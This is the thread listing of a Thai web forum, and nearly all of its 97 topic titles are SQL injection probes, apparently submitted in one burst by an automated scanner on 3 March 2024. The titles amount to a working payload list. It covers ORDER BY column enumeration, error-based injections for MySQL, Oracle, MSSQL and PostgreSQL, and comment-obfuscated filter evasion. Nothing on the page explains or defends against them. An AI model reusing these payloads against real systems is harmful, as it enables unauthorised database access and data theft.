ตั้งกระทู้ คลิกที่นี้
ลำดับ หัวข้อกระทู้ อ่าน ตอบ วันที่ตั้งกระทู้
1 1"/**/ORDER/**/BY/**/4433# 0 0 2024-03-03 17:22:01
2 1"/**/ORDER/**/BY/**/1# 0 0 2024-03-03 17:21:59
3 1")/**/ORDER/**/BY/**/2175# 0 0 2024-03-03 17:21:58
4 1")/**/ORDER/**/BY/**/1# 0 0 2024-03-03 17:21:57
5 1/**/ORDER/**/BY/**/5151# 0 0 2024-03-03 17:21:48
6 1/**/ORDER/**/BY/**/1# 0 0 2024-03-03 17:21:46
7 1/**/ORDER/**/BY/**/3584# 0 0 2024-03-03 17:21:45
8 1/**/ORDER/**/BY/**/1# 0 0 2024-03-03 17:21:44
9 1))/**/ORDER/**/BY/**/6781# 0 0 2024-03-03 17:21:42
10 1))/**/ORDER/**/BY/**/1# 0 0 2024-03-03 17:21:41
11 1)/**/ORDER/**/BY/**/8918# 0 0 2024-03-03 17:21:40
12 1)/**/ORDER/**/BY/**/1# 0 0 2024-03-03 17:21:39
13 1"/**/ORDER/**/BY/**/5852--/**/NejR 0 0 2024-03-03 17:21:38
14 1"/**/ORDER/**/BY/**/1--/**/ErAo 0 0 2024-03-03 17:21:36
15 1")/**/ORDER/**/BY/**/5718--/**/pfVk 0 0 2024-03-03 17:21:34
16 1")/**/ORDER/**/BY/**/1--/**/TMSU 0 0 2024-03-03 17:21:33
17 1/**/ORDER/**/BY/**/1710--/**/KYED 0 0 2024-03-03 17:21:24
18 1/**/ORDER/**/BY/**/1--/**/pjTC 0 0 2024-03-03 17:21:23
19 1/**/ORDER/**/BY/**/2403--/**/lcVF 0 0 2024-03-03 17:21:21
20 1/**/ORDER/**/BY/**/1--/**/VIUB 0 0 2024-03-03 17:21:19
21 1))/**/ORDER/**/BY/**/9322--/**/mgDM 0 0 2024-03-03 17:21:18
22 1))/**/ORDER/**/BY/**/1--/**/tvVl 0 0 2024-03-03 17:21:16
23 1)/**/ORDER/**/BY/**/7320--/**/ytwI 0 0 2024-03-03 17:21:15
24 1)/**/ORDER/**/BY/**/1--/**/EfOZ 0 0 2024-03-03 17:21:14
25 (CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(7957=7957)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC)) 0 0 2024-03-03 17:21:02
26 (EXTRACTVALUE(3967,CONCAT(0x5c,0x716a766b71,(SELECT/**/(ELT(3967=3967,1))),0x71766a7a71))) 0 0 2024-03-03 17:21:00
27 (SELECT/**/4712/**/FROM(SELECT/**/COUNT(*),CONCAT(0x716a766b71,(SELECT/**/(ELT(4712=4712,1))),0x71766a7a71,FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) 0 0 2024-03-03 17:20:59
28 1"/**/PROCEDURE/**/ANALYSE(EXTRACTVALUE(6544,CONCAT(0x5c,0x716a766b71,(SELECT/**/(CASE/**/WHEN/**/(6544=6544)/**/THEN/**/1/**/ELSE/**/0/**/END)),0x71766a7a71)),1)/**/AND/**/"eqNq"="eqNq 0 0 2024-03-03 17:20:58
29 1")/**/PROCEDURE/**/ANALYSE(EXTRACTVALUE(6544,CONCAT(0x5c,0x716a766b71,(SELECT/**/(CASE/**/WHEN/**/(6544=6544)/**/THEN/**/1/**/ELSE/**/0/**/END)),0x71766a7a71)),1)/**/AND/**/("ZfpC"="ZfpC 0 0 2024-03-03 17:20:57
30 1/**/PROCEDURE/**/ANALYSE(EXTRACTVALUE(6544,CONCAT(0x5c,0x716a766b71,(SELECT/**/(CASE/**/WHEN/**/(6544=6544)/**/THEN/**/1/**/ELSE/**/0/**/END)),0x71766a7a71)),1)--/**/CBuw 0 0 2024-03-03 17:20:48
31 1/**/PROCEDURE/**/ANALYSE(EXTRACTVALUE(6544,CONCAT(0x5c,0x716a766b71,(SELECT/**/(CASE/**/WHEN/**/(6544=6544)/**/THEN/**/1/**/ELSE/**/0/**/END)),0x71766a7a71)),1) 0 0 2024-03-03 17:20:47
32 1))/**/PROCEDURE/**/ANALYSE(EXTRACTVALUE(6544,CONCAT(0x5c,0x716a766b71,(SELECT/**/(CASE/**/WHEN/**/(6544=6544)/**/THEN/**/1/**/ELSE/**/0/**/END)),0x71766a7a71)),1)/**/AND/**/((5521=5521 0 0 2024-03-03 17:20:46
33 1)/**/PROCEDURE/**/ANALYSE(EXTRACTVALUE(6544,CONCAT(0x5c,0x716a766b71,(SELECT/**/(CASE/**/WHEN/**/(6544=6544)/**/THEN/**/1/**/ELSE/**/0/**/END)),0x71766a7a71)),1)/**/AND/**/(8875=8875 0 0 2024-03-03 17:20:45
34 -2347"/**/OR/**/4987=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(4987=4987)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/"opL 0 0 2024-03-03 17:20:43
35 -5059")/**/OR/**/4987=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(4987=4987)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/("m 0 0 2024-03-03 17:20:42
36 -6004/**/OR/**/4987=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(4987=4987)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))--/**/rVrh 0 0 2024-03-03 17:20:33
37 -5841/**/OR/**/4987=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(4987=4987)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)) 0 0 2024-03-03 17:20:32
38 -3651))/**/OR/**/4987=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(4987=4987)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/((7 0 0 2024-03-03 17:20:31
39 -8676)/**/OR/**/4987=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(4987=4987)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/(460 0 0 2024-03-03 17:20:30
40 1"/**/AND/**/1083=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(1083=1083)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/"Eoku"= 0 0 2024-03-03 17:20:29
41 1")/**/AND/**/1083=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(1083=1083)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/("hfgP 0 0 2024-03-03 17:20:28
42 1/**/AND/**/1083=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(1083=1083)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))--/**/QHbr 0 0 2024-03-03 17:20:19
43 1/**/AND/**/1083=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(1083=1083)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)) 0 0 2024-03-03 17:20:17
44 1))/**/AND/**/1083=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(1083=1083)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/((8036 0 0 2024-03-03 17:20:16
45 1)/**/AND/**/1083=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(1083=1083)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AND/**/(6078=6 0 0 2024-03-03 17:20:15
46 -5408"/**/OR/**/5276=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5276=5276)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)| 0 0 2024-03-03 17:20:12
47 -5198")/**/OR/**/5276=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5276=5276)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113) 0 0 2024-03-03 17:20:11
48 -7221/**/OR/**/5276=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5276=5276)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)|| 0 0 2024-03-03 17:20:02
49 -9421/**/OR/**/5276=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5276=5276)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)|| 0 0 2024-03-03 17:20:01
50 -9615))/**/OR/**/5276=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5276=5276)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113) 0 0 2024-03-03 17:19:59
51 -4983)/**/OR/**/5276=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5276=5276)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)| 0 0 2024-03-03 17:19:57
52 1"/**/AND/**/8181=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(8181=8181)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)||CH 0 0 2024-03-03 17:19:56
53 1")/**/AND/**/8181=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(8181=8181)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)||C 0 0 2024-03-03 17:19:54
54 1/**/AND/**/8181=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(8181=8181)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)||CHR 0 0 2024-03-03 17:19:46
55 1/**/AND/**/8181=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(8181=8181)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)||CHR 0 0 2024-03-03 17:19:45
56 1))/**/AND/**/8181=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(8181=8181)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)||C 0 0 2024-03-03 17:19:44
57 1)/**/AND/**/8181=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(8181=8181)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113)||CH 0 0 2024-03-03 17:19:43
58 1"/**/AND/**/1449=CONCAT(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113),(SELECT/**/(CASE/**/WHEN/**/(1449=1449)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END)),CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))/**/AND/**/"anjm"="anjm 0 0 2024-03-03 17:19:42
59 1")/**/AND/**/1449=CONCAT(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113),(SELECT/**/(CASE/**/WHEN/**/(1449=1449)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END)),CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))/**/AND/**/("OBoD"="OBoD 0 0 2024-03-03 17:19:41
60 0 0 0 2024-03-03 17:19:39
61 0 0 0 2024-03-03 17:19:38
62 0 0 0 2024-03-03 17:19:36
63 1/**/AND/**/1449=CONCAT(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113),(SELECT/**/(CASE/**/WHEN/**/(1449=1449)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END)),CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))--/**/cnFC 0 0 2024-03-03 17:19:33
64 1/**/AND/**/1449=CONCAT(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113),(SELECT/**/(CASE/**/WHEN/**/(1449=1449)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END)),CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)) 0 0 2024-03-03 17:19:31
65 1))/**/AND/**/1449=CONCAT(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113),(SELECT/**/(CASE/**/WHEN/**/(1449=1449)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END)),CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))/**/AND/**/((6081=6081 0 0 2024-03-03 17:19:30
66 1)/**/AND/**/1449=CONCAT(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113),(SELECT/**/(CASE/**/WHEN/**/(1449=1449)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END)),CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))/**/AND/**/(9206=9206 0 0 2024-03-03 17:19:29
67 1"/**/AND/**/7600=CONVERT(INT,(SELECT/**/CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(7600=7600)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/"zYmO"="zYmO 0 0 2024-03-03 17:19:27
68 1")/**/AND/**/7600=CONVERT(INT,(SELECT/**/CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(7600=7600)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/("zMqe"="zMq 0 0 2024-03-03 17:19:26
69 1/**/AND/**/7600=CONVERT(INT,(SELECT/**/CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(7600=7600)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))--/**/Ioiy 0 0 2024-03-03 17:19:17
70 1/**/AND/**/7600=CONVERT(INT,(SELECT/**/CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(7600=7600)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))) 0 0 2024-03-03 17:19:16
71 1))/**/AND/**/7600=CONVERT(INT,(SELECT/**/CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(7600=7600)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/((4358=4358 0 0 2024-03-03 17:19:15
72 1)/**/AND/**/7600=CONVERT(INT,(SELECT/**/CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(7600=7600)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/(8015=8015 0 0 2024-03-03 17:19:14
73 -6663"/**/OR/**/3597/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(3597=3597)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/"mhXB"="mhXB 0 0 2024-03-03 17:19:12
74 -6436")/**/OR/**/3597/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(3597=3597)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/("tIPc"="tI 0 0 2024-03-03 17:19:11
75 1 0 0 2024-03-03 17:19:10
76 1 0 0 2024-03-03 17:19:09
77 1 0 0 2024-03-03 17:19:06
78 -1126/**/OR/**/3597/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(3597=3597)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))--/**/JTaX 0 0 2024-03-03 17:19:03
79 -4015/**/OR/**/3597/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(3597=3597)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))) 0 0 2024-03-03 17:19:01
80 -4365))/**/OR/**/3597/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(3597=3597)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/((7433=7433 0 0 2024-03-03 17:19:00
81 -4415)/**/OR/**/3597/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(3597=3597)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/(5250=5250 0 0 2024-03-03 17:18:59
82 1"/**/AND/**/5476/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(5476=5476)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/"SLaF"="SLaF 0 0 2024-03-03 17:18:58
83 1")/**/AND/**/5476/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(5476=5476)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/("GNUL"="GNUL 0 0 2024-03-03 17:18:57
84 0 0 0 2024-03-03 17:18:56
85 0 0 0 2024-03-03 17:18:55
86 0 0 0 2024-03-03 17:18:52
87 1/**/AND/**/5476/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(5476=5476)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))--/**/itOX 0 0 2024-03-03 17:18:49
88 1/**/AND/**/5476/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(5476=5476)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))) 0 0 2024-03-03 17:18:48
89 1))/**/AND/**/5476/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(5476=5476)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/((9467=9467 0 0 2024-03-03 17:18:47
90 1)/**/AND/**/5476/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(106)+CHAR(118)+CHAR(107)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(5476=5476)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)))/**/AND/**/(3739=3739 0 0 2024-03-03 17:18:45
91 -6149"/**/OR/**/2282=CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(2282=2282)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/"ArfS"="ArfS 0 0 2024-03-03 17:18:44
92 -4521")/**/OR/**/2282=CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(2282=2282)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/("SGvS"="SGvS 0 0 2024-03-03 17:18:43
93 -2983/**/OR/**/2282=CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(2282=2282)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC)--/**/cTLo 0 0 2024-03-03 17:18:35
94 -4255/**/OR/**/2282=CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(2282=2282)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC) 0 0 2024-03-03 17:18:34
95 -9013))/**/OR/**/2282=CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(2282=2282)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/((4619=4619 0 0 2024-03-03 17:18:33
96 -9251)/**/OR/**/2282=CAST((CHR(113)||CHR(106)||CHR(118)||CHR(107)||CHR(113))||(SELECT/**/(CASE/**/WHEN/**/(2282=2282)/**/THEN/**/1/**/ELSE/**/0/**/END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(122)||CHR(113))/**/AS/**/NUMERIC)/**/AND/**/(2234=2234 0 0 2024-03-03 17:18:31
97 -8187 0 0 2024-03-03 17:18:30
